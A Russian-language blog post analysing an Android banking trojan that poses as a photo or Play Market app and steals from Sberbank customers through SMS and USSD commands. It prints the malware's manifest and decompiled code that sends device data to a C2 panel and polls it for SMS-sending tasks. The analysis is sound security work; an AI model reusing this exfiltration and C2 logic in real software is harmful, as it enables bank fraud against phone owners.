Реверс банковской малвари на Android
Введение
Опять, опять спамят "Вам пришло ММС-сообщение!". Конечно, в сообщении только короткая ссылка на foto.apk (сфоткай, типо я - jpeg). Причем без всяких красивостей в браузере, просто сразу отдается бинарник. Но ведь есть люди, и на это ведутся. Решил я посмотреть, на что там можно повестись...
Поверхностный осмотр
Как обычно, малварь написана на Java, никак не обфусцирована. Метод установки в систему стар как мир: маскировка под системное приложение (в данном случае – Play Market). Об эксплуатации каких-либо уязвимостей, кроме головного мозга пользователя устройства, речи не идет. На данный момент малварь детектируется 23 из 37 антивирусами на virustotal.
Декомпиляция и изучение кода
Просмотр одного только манифеста уже настораживает. Особое внимание рекомендую обратить на запрос привилегий.
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.system" platformBuildVersionCode="21" platformBuildVersionName="APKTOOL">
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="com.android.system.permission.C2D_MESSAGE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<permission android:name="com.android.system.permission.C2D_MESSAGE" android:protectionLevel="signature"/>
<application android:icon="@drawable/surprise" android:label="System">
<activity android:label="Ошибка" android:name="com.android.system.AppActivity" android:theme="@android:style/Theme.Light.NoTitleBar">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:label="Play Маркет" android:name="com.android.system.ActivityUssd" android:theme="@android:style/Theme.Light.NoTitleBar"/>
<activity android:label="@string/app_name" android:name="com.android.system.InstallerActivity"/>
<receiver android:name="com.google.android.gcm.GCMBroadcastReceiver" android:permission="com.google.android.c2dm.permission.SEND">
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE"/>
<action android:name="com.google.android.c2dm.intent.REGISTRATION"/>
<category android:name="com.android.system"/>
</intent-filter>
</receiver>
<service android:name=".GCMIntentService"/>
<receiver android:name="com.android.system.SReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver android:name=".OnBootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
</intent-filter>
</receiver>
<receiver android:name="com.android.system.ICReceiver">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
<service android:enabled="true" android:name="com.android.system.SurpriseService"/>
<receiver android:name="com.android.system.SC"/>
</application>
</manifest>
Исходя из списка привилегий, получаем классического бота под Android: отправка статистики и получение команд через Internet, перехват, отсылка смс. Само собой, автозагрузка. В последнее время набирает актуальность работа с USSD-запросами. Связано это, как мне кажется, в основном из-за поддержки таких запросов банками. То есть, получив доступ к телефону клиента, можно осуществлять переводы на счет злоумышленника. Перехват SMS в этом случае, необходим для удаления приходящих уведомлений, чтобы владелец устройства ни о чем не догадался.
Итак, запуск программы начинает в классе com.android.system.AppActivity. При запуске подгружаются ресурсы для фейкового GUI и запускается служба com.android.system.SurpriseService. Что примечательно, софт использует Google Cloud Messaging для работы. Причем, судя по выводу в Log.d(), код был скопирован из какого-то источника. Например, из официальной документации.
Второй момент, приложение имитирует собственное удаление.
Возвращаемся к запуску сервиса. Сразу после старта, сервис собирает информацию об устройстве: модель устройства, страну, номер телефона, название оператор, текущий баланс и IMEI.
a.a("Registration");
Object localObject4 = (TelephonyManager)a.getSystemService("phone");
Object localObject2 = ((TelephonyManager)localObject4).getDeviceId();
Object localObject3 = ((TelephonyManager)localObject4).getSimCountryIso();
String str1 = ((TelephonyManager)localObject4).getLine1Number();
localObject4 = ((TelephonyManager)localObject4).getSimOperatorName();
String str2 = Build.MODEL + " v." + Build.VERSION.RELEASE;
Зачем злоумышленникам последний параметр остается только догадываться. Все это отправляется на сервер GET-запросом: http://serverdomain/controller.php?param1=value1&...paramN=valueN
после чего сервер возвращает завернутый в JSON целочисленный идентификатор бота
{ "response": [{"bot_id": 6216}], "status": "ok"}.
На любой неправильный запрос с точки зрения логики админ-панели сервер возвращает { "response": [], "status": "ok"}.
Полученные результаты бот сохраняет в sqlite-таблицу в открытом виде, после чего запускается таймер проверки команд с помощью AlarmManager на 20 секунд.
g = new JSONObject(new String(((StringBuilder)localObject3).toString())).getJSONArray("response").getJSONObject(0).getInt("bot_id");
localObject3 = new ContentValues();
((ContentValues)localObject3).put("id", Integer.valueOf(g));
i = new d(a.getApplicationContext());
j = i.getWritableDatabase();
j.update("bot_set", (ContentValues)localObject3, null, null);
i.close();
a.a("Зарегистрирован id:" + g);
((InputStream)localObject1).close();
((BufferedReader)localObject2).close();
d = 0;
a(a);
public static void a(Context paramContext)
{
AlarmManager localAlarmManager = (AlarmManager)paramContext.getSystemService("alarm");
c = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, SC.class), 0);
paramContext = c;
localAlarmManager.set(0, System.currentTimeMillis() + f * 1000, paramContext);
}
Также при запуске службы устанавливаются BroadcastReceiver’ы на действия с экраном (вкл/выкл) и USSD-запросы.
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
a = this;
this.k = ((PowerManager)getSystemService("power")).newWakeLock(1, "DoNotSleep");
this.k.acquire();
a.registerReceiver(this.h, new IntentFilter("server_up"));
i = new d(a);
j = i.getWritableDatabase();
paramIntent = j.query("bot_set", null, null, null, null, null, null, null);
if (paramIntent.moveToFirst())
{
g = paramIntent.getInt(paramIntent.getColumnIndex("id"));
e = paramIntent.getString(paramIntent.getColumnIndex("server"));
f = paramIntent.getInt(paramIntent.getColumnIndex("upd_time"));
a.a("Server:" + e);
a.a("Bot_id:" + g);
a.a("Upd_time:" + f);
if (g >= 1) {
break label318;
}
new Thread(new j(this)).start();
}
for (;;)
{
paramIntent.close();
i.close();
registerReceiver(new k(this), new IntentFilter("USSD_SEND_RECEIVER"));
paramIntent = new IntentFilter("android.intent.action.SCREEN_ON");
paramIntent.addAction("android.intent.action.SCREEN_OFF");
registerReceiver(new l(this), paramIntent);
return;
label318:
a(this);
}
Запрос команд происходит также с помощью GET http: (http://domain/controller.php?mode=getTask&screen_on=0&bot_id=6218">http://domain/controller.php?mode=getTask&screen_on=0&bot_id=6218].
Результаты:
{ "response": [{"del_intercept": 1, "mode": 0, "sms_id": ["200605"], "sms_text": ["БАЛАНС"], "sms_number": ["900"], "intercept": ["all"]}], "status": "ok"}.
После обработки команды, бот посылает SMS-сообщение, результат перехватывается зарегистрированным BroadcastReceiver’ом com.android.system.SReceiver и отправляется на сервер. Также, перехваченные SMS-сообщения удаляются после отправки. Что не удивительно, ведь, судя по номеру отправки сообщений, софт написан для взаимодействия с мобильным банком Сбербанка. Иногда мне кажется, что разработчиками этот мобильный банк реализован вовсе не для удобства клиента, а для реализации таких вот махинаций. Весь код запроса команд и обработки выполнен в одном классе com.android.system.g. К сожалению, он не смог нормально декомпилироваться, но ведь это ничуть не мешает изучить код smali.
new-instance v2, Ljava/net/URI;
new-instance v3, Ljava/lang/StringBuilder;
const-string v4, "http://"
invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
const-string v3, "/controller.php?mode=getTask&screen_on="
invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
sget v3, Lcom/android/system/a/a;->i:I
invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
move-result-object v0
const-string v3, "&bot_id="
invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
invoke-direct {v2, v0}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
invoke-virtual {v2}, Ljava/net/URI;->toASCIIString()Ljava/lang/String;
:try_end_1
.catch Ljava/net/URISyntaxException; {:try_start_1 .. :try_end_1} :catch_0
.catch Lorg/apache/http/client/ClientProtocolException; {:try_start_1 .. :try_end_1} :catch_1
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_3
move-result-object v0
:goto_1
:try_start_2
new-instance v1, Lorg/apache/http/client/methods/HttpGet;
invoke-direct {v1, v0}, Lorg/apache/http/client/methods/HttpGet;-><init>(Ljava/lang/String;)V
invoke-interface {v12, v1}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
move-result-object v0
invoke-interface {v0}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
move-result-object v0
Помимо этого, в софте заложены следующие возможности:
- рассылка по контактам;
- отправка архива SMS-сообщений;
- выполнение USSD-запросов;
- изменение адреса админ-панели.
Итоги
Никакой сложности в реверсе не было, все открыто и доступно. Прямым текстом, как говорится. При этом авторы оставили обертку вывода Log.d() с сообщениями на русском, что вносит дополнительную ясность в декомпилированный код. Отсутствие какой-либо защиты (хотя на эмуляторе и в Anubis проанализировать на удалось, но это скорее из-за эмуляторных ограничений, а не детектирования), невнимательность при написании кода (Log.d(), тексты исключений при обработке и другие подсказки) и стилистика (строковые константы прямо в коде, скопированные из публичных источников участки кода и т.д.) намекают на то, что если и не школьники, то скорее всего малварь писали студенты, причем, скорее всего проживающие на территории обслуживания Сбербанка. Никакой оригинальности в образце нет, все сделано «в лоб». А зачастую, решение слишком прямолинейное. Например, выдача команд происходит один раз. Если послать запрос повторно, то получим сообщение от сервера: «Заданий нет!». То есть, сервер не проверяет, было ли выполнено предыдущее задание и дошло ли оно до клиента вообще. Оно и понятно, зачем изобретать оригинальные техники, если на хомячках итак работает? На текущий момент только на одном сервере зарегистрировано более 6000 клиентов.
Спасибо за внимание!